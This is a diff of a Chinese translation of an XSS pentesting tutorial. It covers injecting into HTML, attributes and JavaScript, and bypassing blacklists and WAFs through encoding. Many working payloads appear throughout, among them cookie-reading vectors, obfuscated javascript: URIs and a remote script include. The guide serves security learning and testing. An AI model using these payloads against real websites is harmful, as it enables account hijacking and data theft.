有一些**JS代码**正在**不安全地**使用一些**由攻击者控制的数据**,如`location.href`。攻击者可以利用这一点来执行任意JS代码。
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### **通用 XSS**
|
### **通用XSS**
|
||||||
|
|
||||||
这类 XSS 可以在**任何地方**找到。它们不仅仅依赖于客户端对 Web 应用程序的利用,而是依赖于**任何** **上下文**。这种**任意 JavaScript 执行**甚至可以被滥用来获得**RCE**,**读取**客户端和服务器中的**任意** **文件**等等。\
|
这种类型的XSS可能**随处可见**。它们不仅仅取决于对Web应用程序的客户端利用,而是取决于**任何** **上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**,在客户端和服务器上**读取** **任意** **文件**等。\
|
||||||
一些**示例**:
|
一些**示例**:
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
|
@ -143,35 +143,38 @@ parentElement
|
||||||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 绕过 WAF 编码图像
|
## WAF绕过编码图像
|
||||||
|
|
||||||
![来自 https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
||||||
|
|
||||||
## 在原始 HTML 中注入
|
## 在原始HTML中注入
|
||||||
|
|
||||||
当您的输入反映在**HTML 页面内部**或者您可以逃脱并在此上下文中注入 HTML 代码时,您需要做的**第一件事**是检查是否可以滥用 `<` 来创建新标签:只需尝试**反映**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未经更改地反映**。**只有在最后一种情况下,您才能利用这种情况**。\
|
当您的输入被反映在**HTML页面内**或者您可以转义并在此上下文中注入HTML代码时,**第一**件事是检查您是否可以滥用`<`来创建新标签:只需尝试**反映**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未经更改地反映**。**只有在最后一种情况下,您才能利用这种情况**。\
|
||||||
对于这些情况,还要**记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
对于这些情况,还要**记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
||||||
_**注意:HTML 注释可以使用**_ `-->` _**或**_ `--!>` _**关闭**_
|
_**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_
|
||||||
|
|
||||||
在这种情况下,如果没有使用黑名单/白名单,您可以使用像这样的有效载荷:
|
在这种情况下,如果没有使用黑名单/白名单,您可以使用如下有效负载:
|
||||||
```javascript
|
```javascript
|
||||||
<script>alert(1)</script>
|
<script>alert(1)</script>
|
||||||
<img src=x onerror=alert(1) />
|
<img src=x onerror=alert(1) />
|
||||||
<svg onload=alert('XSS')>
|
<svg onload=alert('XSS')>
|
||||||
```
|
```
|
||||||
### 标签/事件暴力破解
|
但是,如果使用了标签/属性的黑名单/白名单,您将需要**暴力破解可以创建的标签**。\
|
||||||
|
一旦您**找到了允许的标签**,您将需要**暴力破解找到的有效标签内的属性/事件**,以查看如何攻击上下文。
|
||||||
|
|
||||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 并点击 _**复制标签到剪贴板**_。然后,使用 Burp Intruder 发送所有标签,并检查是否有任何标签没有被 WAF 识别为恶意的。一旦你发现了可以使用的标签,你可以**对所有事件进行暴力破解**,使用有效的标签(在同一网页上点击 _**复制事件到剪贴板**_ 并遵循之前相同的步骤)。
|
### 标签/事件的暴力破解
|
||||||
|
|
||||||
|
前往[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)并单击_**将标签复制到剪贴板**_。然后,使用Burp Intruder发送所有标签,并检查WAF是否未将任何标签识别为恶意。一旦您发现可以使用哪些标签,您可以**暴力破解所有事件**,使用有效标签(在同一网页中单击_**将事件复制到剪贴板**_,然后按照之前的相同步骤操作)。
|
||||||
|
|
||||||
### 自定义标签
|
### 自定义标签
|
||||||
|
|
||||||
如果你没有找到任何有效的 HTML 标签,你可以尝试**创建一个自定义标签**并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中,你需要在 URL 结尾加上 `#`,以使页面**聚焦于该对象**并**执行**代码:
|
如果您没有找到任何有效的HTML标签,您可以尝试**创建自定义标签**并使用`onfocus`属性执行JS代码。在XSS请求中,您需要以`#`结束URL,使页面**聚焦在该对象上**并**执行**代码:
|
||||||
```
|
```
|
||||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||||
```
|
```
|
||||||
### 黑名单绕过
|
### 黑名单绕过
|
||||||
|
|
||||||
如果使用了某种黑名单,您可以尝试使用一些简单的技巧来绕过它:
|
如果使用了某种黑名单,您可以尝试使用一些愚蠢的技巧来绕过它:
|
||||||
```javascript
|
```javascript
|
||||||
//Random capitalization
|
//Random capitalization
|
||||||
<script> --> <ScrIpT>
|
<script> --> <ScrIpT>
|
||||||
|
@ -221,10 +224,10 @@ onerror=alert`1`
|
||||||
//Use more than one
|
//Use more than one
|
||||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||||
```
|
```
|
||||||
### 长度绕过(小型 XSS)
|
### 长度绕过(小型XSS)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**更多适用于不同环境的小型 XSS** 载荷 [**可以在这里找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**这里**](https://tinyxss.terjanq.me)。
|
**更多针对不同环境的微型XSS** 负载[**可以在这里找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**这里**](https://tinyxss.terjanq.me)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```html
|
```html
|
||||||
<!-- Taken from the blog of Jorge Lajara -->
|
<!-- Taken from the blog of Jorge Lajara -->
|
||||||
|
@ -232,29 +235,31 @@ onerror=alert`1`
|
||||||
<script src=//aa.es>
|
<script src=//aa.es>
|
||||||
<script src=//℡㏛.pw>
|
<script src=//℡㏛.pw>
|
||||||
```
|
```
|
||||||
最后一个使用了2个Unicode字符,扩展为5个:telsr\
|
最后一个是使用2个Unicode字符,扩展为5个:telsr\
|
||||||
更多这样的字符可以在[这里](https://www.unicode.org/charts/normalization/)找到。\
|
更多这些字符可以在[这里](https://www.unicode.org/charts/normalization/)找到。\
|
||||||
要检查哪些字符被分解,请查看[这里](https://www.compart.com/en/unicode/U+2121)。
|
要检查哪些字符被分解,请查看[这里](https://www.compart.com/en/unicode/U+2121)。
|
||||||
|
|
||||||
### 点击 XSS - 点击劫持
|
### 点击XSS - 点击劫持
|
||||||
|
|
||||||
如果要利用漏洞,您需要**用户点击链接或带有预填充数据的表单**,您可以尝试[**滥用点击劫持**](../clickjacking.md#xss-clickjacking)(如果页面容易受到此类攻击)。
|
如果为了利用漏洞,您需要**用户点击一个带有预填数据的链接或表单**,您可以尝试[**滥用点击劫持**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
|
||||||
|
|
||||||
### 不可能 - 悬空标记
|
### 不可能 - 悬挂标记
|
||||||
|
|
||||||
如果您认为**不可能创建带有属性的HTML标签来执行JS代码**,您应该查看[**悬空标记**](../dangling-markup-html-scriptless-injection/),因为您可以**利用**漏洞**而不**执行**JS**代码。
|
如果您认为**不可能创建一个带有执行JS代码属性的HTML标记**,您应该检查[**悬挂标记**](../dangling-markup-html-scriptless-injection/),因为您可以**利用**漏洞而**无需**执行**JS**代码。
|
||||||
|
|
||||||
## 注入HTML标签内部
|
## 在HTML标记内注入
|
||||||
|
|
||||||
### 在标签内部/从属性值中逃逸
|
### 在标记内部/从属性值中逃逸
|
||||||
|
|
||||||
如果您处于**HTML标签内部**,您首先可以尝试的是**逃离**标签,并使用[上一节](./#injecting-inside-raw-html)中提到的技术来执行JS代码。\
|
如果您在**HTML标记内部**,您可以尝试首先**从标记中逃逸**,并使用[前一节](./#injecting-inside-raw-html)中提到的一些技术来执行JS代码。\
|
||||||
如果您**无法从标签中逃离**,您可以在标签内部创建新属性来尝试执行JS代码,例如使用以下有效载荷(_请注意,在此示例中使用双引号从属性中逃离,如果您的输入直接反映在标签内部,则不需要它们_):
|
如果您**无法从标记中逃逸**,您可以在标记内创建新属性,尝试执行JS代码,例如使用一些有效载荷(_请注意,在此示例中,双引号用于从属性中逃逸,如果您的输入直接反映在标记内,则不需要它们_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
```
|
```
|
||||||
**样式事件**
|
**样式事件**
|
||||||
|
|
||||||
|
在XSS攻击中,可以利用样式事件来执行恶意脚本。例如,可以通过`<img>`标签的`onerror`事件来触发恶意脚本。
|
||||||
```python
|
```python
|
||||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||||
|
@ -264,16 +269,16 @@ onerror=alert`1`
|
||||||
#moving your mouse anywhere over the page (0-click-ish):
|
#moving your mouse anywhere over the page (0-click-ish):
|
||||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||||
```
|
```
|
||||||
### 在属性内
|
### 在属性中
|
||||||
|
|
||||||
即使您**无法从属性中逃脱**(`"` 被编码或删除),根据**哪个属性**反映您的值,**您是否控制所有值或只是部分**,您将能够滥用它。例如,如果您控制像 `onclick=` 这样的事件,您将能够使其在点击时执行任意代码。\
|
即使你**无法从属性中逃脱**(`"`被编码或删除),取决于**在哪个属性**中反映您的值,**您是否控制所有值或只是一部分**,您将能够滥用它。例如,如果您控制像`onclick=`这样的事件,您将能够使其在被点击时执行任意代码。\
|
||||||
另一个有趣的**例子**是属性 `href`,您可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
另一个有趣的例子是属性`href`,您可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||||
|
|
||||||
**使用 HTML 编码/URL 编码绕过事件内**
|
**在事件内部使用HTML编码/URL编码绕过**
|
||||||
|
|
||||||
HTML 标签属性值内的**HTML 编码字符**在运行时会被**解码**。因此,像下面这样的内容将是有效的(加粗的部分是有效载荷):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">返回</a>`
|
HTML标签属性值中的**HTML编码字符**在运行时会被**解码**。因此,类似以下内容将是有效的(payload以粗体显示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||||
|
|
||||||
请注意,**任何类型的 HTML 编码都是有效的**:
|
请注意**任何类型的HTML编码都是有效的**:
|
||||||
```javascript
|
```javascript
|
||||||
//HTML entities
|
//HTML entities
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
|
@ -290,19 +295,19 @@ HTML 标签属性值内的**HTML 编码字符**在运行时会被**解码**。
|
||||||
<a href="javascript:alert(2)">a</a>
|
<a href="javascript:alert(2)">a</a>
|
||||||
<a href="javascript:alert(3)">a</a>
|
<a href="javascript:alert(3)">a</a>
|
||||||
```
|
```
|
||||||
**请注意,URL编码也同样有效:**
|
**请注意,URL 编码也可以起作用:**
|
||||||
```python
|
```python
|
||||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||||
```
|
```
|
||||||
**利用Unicode编码绕过事件内部**
|
**使用Unicode编码绕过内部事件**
|
||||||
```javascript
|
```javascript
|
||||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||||
```
|
```
|
||||||
### 特殊协议在属性中的应用
|
### 在属性中使用特殊协议
|
||||||
|
|
||||||
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来**执行任意JS代码**。有些可能需要用户交互,有些则不需要。
|
在某些地方,您可以使用协议**`javascript:`**或**`data:`**来**执行任意的JS代码**。有些情况下需要用户交互,有些则不需要。
|
||||||
```javascript
|
```javascript
|
||||||
javascript:alert(1)
|
javascript:alert(1)
|
||||||
JavaSCript:alert(1)
|
JavaSCript:alert(1)
|
||||||
|
@ -324,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||||
```
|
```
|
||||||
**可以注入这些协议的位置**
|
**可以注入这些协议的位置**
|
||||||
|
|
||||||
**一般来说**,`javascript:` 协议可以**用于任何接受 `href` 属性的标签**,以及**大多数**接受**属性 `src`** 的标签(但 `<img` 除外)
|
**一般来说**,`javascript:` 协议可以**用在任何接受属性 `href`** 的标签中,并且在**大多数**接受属性 `src` 的标签中也可以使用(但不包括 `<img`)
|
||||||
```markup
|
```markup
|
||||||
<a href="javascript:alert(1)">
|
<a href="javascript:alert(1)">
|
||||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||||
|
@ -346,21 +351,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||||
```
|
```
|
||||||
**其他混淆技巧**
|
**其他混淆技巧**
|
||||||
|
|
||||||
_**在这种情况下,前一节中的HTML编码和Unicode编码技巧也同样适用,因为你处于属性内部。**_
|
_**在这种情况下,前一节中的HTML编码和Unicode编码技巧同样有效,因为您在属性内部。**_
|
||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
此外,还有另一个**巧妙的技巧**适用于这些情况:**即使你在`javascript:...`中的输入被URL编码了,在执行前它也会被URL解码。** 因此,如果你需要使用**单引号**来从**字符串**中**逃逸**,而你看到它**被URL编码了**,记住这**没关系**,在**执行**时它会被**解释**为**单引号**。
|
此外,针对这些情况还有另一个**不错的技巧**:**即使你在`javascript:...`中的输入被URL编码,它在执行之前会被URL解码。** 因此,如果你需要使用**单引号**来**逃逸**字符串,并且发现**它被URL编码**,请记住**这并不重要**,在**执行**时它将被解释为**单引号**。
|
||||||
```javascript
|
```javascript
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||||
```
|
```
|
||||||
请注意,如果您尝试**同时使用** `URLencode + HTMLencode` 以任何顺序对**有效载荷**进行编码,它**不会**起作用,但您可以**在有效载荷内部混合使用它们**。
|
请注意,如果您尝试以任何顺序使用`URLencode + HTMLencode`来编码**payload**,它**不会**起作用,但您可以在**payload**中**混合使用它们**。
|
||||||
|
|
||||||
**使用十六进制和八进制编码与 `javascript:`**
|
**使用`javascript:`和十六进制和八进制编码**
|
||||||
|
|
||||||
您可以在 `iframe` 的 `src` 属性中使用**十六进制**和**八进制编码**来声明**执行 JS 的 HTML 标签**:
|
您可以在`iframe`的`src`属性中(至少)使用**十六进制**和**八进制编码**来声明执行JS的**HTML标签**:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
|
@ -372,20 +377,20 @@ _**在这种情况下,前一节中的HTML编码和Unicode编码技巧也同样
|
||||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||||
```
|
```
|
||||||
### 反向标签劫持
|
### 反向标签窃取
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
如果您能够在包含 **`target="_blank" and rel="opener"`** 属性的任意 **`<a href=`** 标签中注入任何URL,请检查**以下页面以利用此行为**:
|
如果您可以在包含**`target="_blank"`**和**`rel="opener"`**属性的任意**`<a href=`**标签中注入任何URL,请检查**以下页面以利用此行为**:
|
||||||
|
|
||||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### on 事件处理程序绕过
|
### on Event Handlers Bypass
|
||||||
|
|
||||||
首先,查看此页面([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))以获取有用的**"on" 事件处理程序**。\
|
首先检查此页面([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))以获取有用的**"on"事件处理程序**。\
|
||||||
如果有黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过方法:
|
如果有一些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过方法:
|
||||||
```javascript
|
```javascript
|
||||||
<svg onload%09=alert(1)> //No safari
|
<svg onload%09=alert(1)> //No safari
|
||||||
<svg %09onload=alert(1)>
|
<svg %09onload=alert(1)>
|
||||||
|
@ -400,14 +405,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||||
Opera: %09 %20 %2C %3B
|
Opera: %09 %20 %2C %3B
|
||||||
Android: %09 %20 %28 %2C %3B
|
Android: %09 %20 %28 %2C %3B
|
||||||
```
|
```
|
||||||
### XSS 在“不可利用标签”中(隐藏输入、链接、规范、元标签)
|
### 在“无法利用的标签”中的 XSS(隐藏输入、链接、规范、元标记)
|
||||||
|
|
||||||
从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏的输入字段:**
|
从[**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入:**
|
||||||
```html
|
```html
|
||||||
<button popvertarget="x">Click me</button>
|
<button popvertarget="x">Click me</button>
|
||||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||||
```
|
```
|
||||||
在**元标签**中:
|
而在**元标签**中:
|
||||||
```html
|
```html
|
||||||
<!-- Injection inside meta attribute-->
|
<!-- Injection inside meta attribute-->
|
||||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||||
|
@ -415,37 +420,37 @@ Android: %09 %20 %28 %2C %3B
|
||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在隐藏属性中执行**XSS载荷**,前提是您能**说服**受害者按下**键组合**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。您可以使用access key属性中的不同键指定不同的键组合。这是向量:
|
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在隐藏属性中执行**XSS有效负载**,只要您能**说服** **受害者**按下**键组合**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。以下是向量:
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
**XSS payload 将类似于:`" accesskey="x" onclick="alert(1)" x="`**
|
**XSS负载将类似于这样:`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
### 黑名单绕过
|
### 黑名单绕过
|
||||||
|
|
||||||
本节内已经揭示了使用不同编码的多种技巧。返回**学习何时可以使用:**
|
在本节中已经揭示了使用不同编码的几种技巧。回到学习以下内容:
|
||||||
|
|
||||||
* **HTML 编码(HTML 标签)**
|
* **HTML编码(HTML标记)**
|
||||||
* **Unicode 编码(可以是有效的 JS 代码):** `\u0061lert(1)`
|
* **Unicode编码(可以是有效的JS代码):** `\u0061lert(1)`
|
||||||
* **URL 编码**
|
* **URL编码**
|
||||||
* **十六进制和八进制编码**
|
* **十六进制和八进制编码**
|
||||||
* **数据编码**
|
* **数据编码**
|
||||||
|
|
||||||
**绕过 HTML 标签和属性**
|
**HTML标记和属性的绕过**
|
||||||
|
|
||||||
阅读[上一节的黑名单绕过](./#blacklist-bypasses)。
|
阅读[上一节的黑名单绕过](./#blacklist-bypasses)。
|
||||||
|
|
||||||
**绕过 JavaScript 代码**
|
**JavaScript代码的绕过**
|
||||||
|
|
||||||
阅读[下一节的 JavaScript 绕过黑名单技术](./#javascript-bypass-blacklists-techniques)。
|
阅读下一节的[JavaScript绕过黑名单技术](./#javascript-bypass-blacklists-techniques)。
|
||||||
|
|
||||||
### CSS-小工具
|
### CSS小工具
|
||||||
|
|
||||||
如果你在网页的**非常小的部分发现 XSS**,需要某种交互(可能是页脚中的一个小链接,带有 onmouseover 元素),你可以尝试**修改该元素占用的空间**,以最大化触发链接的概率。
|
如果在网页的一个非常小的部分中发现了**XSS漏洞**,需要某种交互(也许是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占用的空间**,以最大化链接被触发的可能性。
|
||||||
|
|
||||||
例如,你可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||||
|
|
||||||
但是,如果 WAF 正在过滤 style 属性,你可以使用 CSS 样式小工具,所以如果你发现,例如
|
但是,如果WAF正在过滤样式属性,您可以使用CSS样式小工具,因此,如果您发现,例如
|
||||||
|
|
||||||
> .test {display:block; color: blue; width: 100%\}
|
> .test {display:block; color: blue; width: 100%\}
|
||||||
|
|
||||||
|
@ -453,38 +458,38 @@ Android: %09 %20 %28 %2C %3B
|
||||||
|
|
||||||
> \#someid {top: 0; font-family: Tahoma;}
|
> \#someid {top: 0; font-family: Tahoma;}
|
||||||
|
|
||||||
现在你可以修改我们的链接并将其形式变为
|
现在您可以修改我们的链接,将其带到以下形式
|
||||||
|
|
||||||
> \<a href=”” id=someid class=test onclick=alert() a=””>
|
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||||
|
|
||||||
这个技巧取自 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
这个技巧来自[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||||
|
|
||||||
## 注入 JavaScript 代码内
|
## 在JavaScript代码中注入
|
||||||
|
|
||||||
在这些情况下,你的**输入**将会**反映在 `.js` 文件的 JS 代码内**,或者在 `<script>...</script>` 标签之间,或者在可以执行 JS 代码的 HTML 事件之间,或者在接受 `javascript:` 协议的属性之间。
|
在这些情况下,您的**输入**将被**反射到`.js`文件的JS代码中**,或者在`<script>...</script>`标记之间,或者在可以执行JS代码的HTML事件之间,或者在接受`javascript:`协议的属性之间。
|
||||||
|
|
||||||
### 逃逸 \<script> 标签
|
### 转义\<script>标记
|
||||||
|
|
||||||
如果你的代码插入在 `<script> [...] var input = 'reflected data' [...] </script>` 中,你可以轻松地**逃逸关闭 `<script>`** 标签:
|
如果您的代码插入在`<script> [...] var input = 'reflected data' [...] </script>`中,您可以轻松地**转义关闭`<script>`**标记:
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
请注意,在这个例子中,我们**甚至没有关闭单引号**,但这不是必需的,因为**浏览器首先执行HTML解析**以识别页面元素,包括脚本块,然后再执行JavaScript解析以理解和执行嵌入的脚本。
|
请注意,在这个例子中,我们甚至**没有关闭单引号**,但这并不是必要的,因为**浏览器首先执行 HTML 解析**来识别页面元素,包括脚本块,然后才执行 JavaScript 解析来理解和执行嵌入的脚本。
|
||||||
|
|
||||||
### 在JS代码内部
|
### 在JS代码内部
|
||||||
|
|
||||||
如果`<>`正在被清理,您仍然可以**逃离字符串**,在您的输入被**定位**的地方,并且**执行任意JS**。重要的是要**修复JS语法**,因为如果有任何错误,JS代码将不会被执行:
|
如果`<>`被消毒,您仍然可以**转义字符串**,在您的输入**位置**执行任意JS。重要的是**修复JS语法**,因为如果有任何错误,JS代码将不会被执行:
|
||||||
```
|
```
|
||||||
'-alert(document.domain)-'
|
'-alert(document.domain)-'
|
||||||
';alert(document.domain)//
|
';alert(document.domain)//
|
||||||
\';alert(document.domain)//
|
\';alert(document.domain)//
|
||||||
```
|
```
|
||||||
### 模板字面量 \`\`
|
### 模板文字 \`\`
|
||||||
|
|
||||||
为了构建**字符串**,除了单引号和双引号外,JS也接受**反引号** **` `` `**。这被称为模板字面量,因为它们允许使用`${ ... }`语法**嵌入JS表达式**。\
|
为了构建**字符串**,除了单引号和双引号外,JS还接受**反引号** **` `` `**。这被称为模板文字,因为它们允许使用`${ ... }`语法**嵌入JS表达式**。\
|
||||||
因此,如果你发现你的输入在使用反引号的JS字符串中被**反射**,你可以利用`${ ... }`语法执行**任意JS代码**:
|
因此,如果您发现您的输入被**反射**到使用反引号的JS字符串中,您可以滥用`${ ... }`语法来执行**任意JS代码**:
|
||||||
|
|
||||||
这可以通过以下方式被**滥用**:
|
这可以通过以下方式**滥用**:
|
||||||
```javascript
|
```javascript
|
||||||
`${alert(1)}`
|
`${alert(1)}`
|
||||||
`${`${`${`${alert(1)}`}`}`}`
|
`${`${`${`${alert(1)}`}`}`}`
|
||||||
|
@ -502,13 +507,13 @@ loop``````````````
|
||||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||||
```
|
```
|
||||||
### Unicode 编码 JS 执行
|
### Unicode编码JS执行
|
||||||
```javascript
|
```javascript
|
||||||
\u{61}lert(1)
|
\u{61}lert(1)
|
||||||
\u0061lert(1)
|
\u0061lert(1)
|
||||||
\u{0061}lert(1)
|
\u{0061}lert(1)
|
||||||
```
|
```
|
||||||
### JavaScript 绕过黑名单技术
|
### JavaScript绕过黑名单技术
|
||||||
|
|
||||||
**字符串**
|
**字符串**
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -541,7 +546,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||||
'\t' //tab
|
'\t' //tab
|
||||||
// Any other char escaped is just itself
|
// Any other char escaped is just itself
|
||||||
```
|
```
|
||||||
**在JS代码内的空格替换**
|
**JS代码中的空格替换**
|
||||||
```javascript
|
```javascript
|
||||||
<TAB>
|
<TAB>
|
||||||
/**/
|
/**/
|
||||||
|
@ -554,7 +559,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||||
